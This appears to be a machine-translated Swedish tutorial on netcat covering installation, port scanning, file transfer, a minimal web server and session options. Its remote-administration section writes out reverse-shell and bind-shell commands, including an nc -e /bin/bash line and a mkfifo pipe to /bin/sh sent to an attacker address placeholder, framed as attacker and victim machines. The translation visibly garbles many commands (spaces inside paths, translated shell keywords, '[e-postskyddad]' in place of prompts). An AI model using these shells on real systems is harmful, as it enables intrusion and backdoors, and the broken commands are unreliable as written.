En kort skillnad mellan netcat-traditionell och netcat-openbsd
Det finns två liknande paket tillgängliga för netcat med en liten skillnad mellan dem.
netcat-traditionell innehåller ytterligare ett '-e' alternativ som kan användas för att binda ett program (i.e bash) med netcat. Denna funktion är mycket användbar för fjärradministrationsändamål.
netcat-openbsd har ytterligare stöd för IPv6 och proxyservrar.
Netcat-installation
Även om netcat kommer förinstallerat i de flesta Linux-distributioner, men om det inte är det, kan det enkelt installeras med följande kommandon.
För traditionellt paket,
[e-postskyddad]: ~ $ sudo apt-get install netcat-traditionalFör openbsd-version,
[e-postskyddad]: ~ $ sudo apt-get install netcat-openbsdNetcat för Windows kan laddas ner härifrån https: // sourceforge.net / projects / nc110 / filer /.
Nu ska vi utforska några intressanta användningsfall av netcat
Port Scanning med netcat
För att söka efter öppna portar, använd alternativet '-z'. Netcat kommer att försöka ansluta till varje port utan att skicka data eller mycket begränsad data i UDP-fall. Skriv följande
[e-postskyddad]: ~ $ nc -z -v hackme.org 80... klipp ..
hackme.org [217.78.1.155] 80 (http) öppen
Om du vill söka efter olika portar skriver du
[e-postskyddad]: ~ $ nc -z -nv 192.168.100.72 20-80(Okänt) [192.168.100.72] 80 (http) öppen
(Okänt) [192.168.100.72] 22 (ssh) öppen
Filöverföring med netcat
Ett annat användbart användningsfall för netcat är filöverföring mellan fjärrdatorer. Du kan skicka texter och binära filer från en dator till en annan dator. Vi försöker skicka en fil “fil.pdf ”från Linux PC till Windows PC [IP 192.168.100.72] med hjälp av netcat som ett exempel.
Skriv följande på Windows-maskin (mottagare)
C: \ Användare> nc -nvlp 1337> fil.pdfLyssnar på [0.0.0.0] (familj 2, port 1337)
Skriv följande på Linux-maskin (avsändare)
[e-postskyddad]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfAnslutning till 192.168.100.72 1337 port [tcp / *] lyckades!
Fjärradministration med netcat
Ett av de bästa användningsfallet för netcat är fjärradministration, det betyder att du kan styra någon annans dator med netcat. Netcat-traditionell levereras med alternativet '-e' som kan användas för att binda ett program (i.e cmd.exe i Windows eller bash i Linux) med en port, det betyder att netcat fungerar som kommunikator mellan programmet och fjärrdatorn. Netcat kommer att ta emot kommandon från fjärr-PC, körs på lokalt system och skickar tillbaka resultaten till fjärrdatorn. Denna funktion används ofta för skadliga ändamål, för att hålla bakdörrar i datorer och servrar. Den här funktionen är endast tillgänglig i netcat-traditionell men med ett litet trick kan netcat-openbsd också användas för samma ändamål. Du kan använda två sätt att styra andras dator.
I en Omvänd skal anslutning lyssnar en angripare på en port och väntar på att en anslutning ska skickas från offermaskinen. Den används när offrets dator ligger bakom NAT eller inte har offentlig IP.
För att få ett omvänd skal med hjälp av netcat måste du lyssna på en port med netcat. Skriv följande på angriparmaskinen,
[e-postskyddad]: ~ $ nc -nvlp 1337Lyssnar på [0.0.0.0] (familj 2, port 1337)
På offrets maskin (om netcat-traditionell är installerad)
// ersätt “/ bin / bash” med “cmd.exe ”i fall av Windows
[e-postskyddad]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashFör netcat-openbsd (där alternativet "-e" inte stöds)
[e-postskyddad]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Medan i en Bind skal anslutning binder angriparen en port på offermaskinen och ansluter till den porten med hjälp av klientuttaget. Den används när angriparens maskin ligger bakom NAT eller inte har en offentlig IP.
Skriv på offermaskinen
[e-postskyddad]: ~ $ nc -nlvp 1337 -e / bin / bashlyssnar på [någon] 1337 ..
Nu, för att köra kommandon på offermaskinen, skriv
[e-postskyddad]: ~ $ nc -nv 127.0.0.1 1337Anslutning till 127.0.0.1 1337 port [tcp / *] lyckades!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupper = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Enkel webbserver med netcat
Du kan också göra ett annat enkelt trick för att använda netcat som minimal webbserver med en enda sida. Denna webbserver skulle vara väldigt enkel utan speciella konfigurationer, och vi använder den för att skicka vår HTML-kod till webbläsaren.
[e-postskyddad]: ~ $ medan det är sant; gör echo -e "HTTP / 1.1 200 OK \ n \ n $ (eko "
Min enkla webbserver med netcat
")" | nc -nvlp 1337; GjortLyssnar på [0.0.0.0] (familj 2, port 1337)
Försök nu att hämta webbsidan med curl
[e-postskyddad]: ~ $ curl http: // 127.0.0.1: 1337 /Min enkla webbserver med netcat
Ange timeout för en netcat-session
Du kan ange timeout för en netcat-session med alternativet “-w”. Netcat kopplar automatiskt bort sin session efter den angivna tiden.
// -w [Tid i sekunder][e-postskyddad]: ~ $ nc -w 40 -nvlp 1337
Lyssnar på [0.0.0.0] (familj 2, port 1234)
Fortsätt lyssna även om klienten stänger anslutningen
I normalt läge stängs netcat-servern av och slutar lyssna på porten när en klient stänger anslutningen. Du kan hålla servern uppe med "-k" -alternativet
[e-postskyddad]: ~ $ nc -k -nlvp 1234Lyssnar på [0.0.0.0] (familj 2, port 1234)
Slutsats
Netcat är enkelt men ändå effektivt verktyg som kan användas för många enkla dagliga uppgifter. Den levereras förinstallerad i nästan alla UNIX-liknande operativsystem och kan användas för olika uppgifter som kommunikation mellan två datorer, filöverföring och många fler.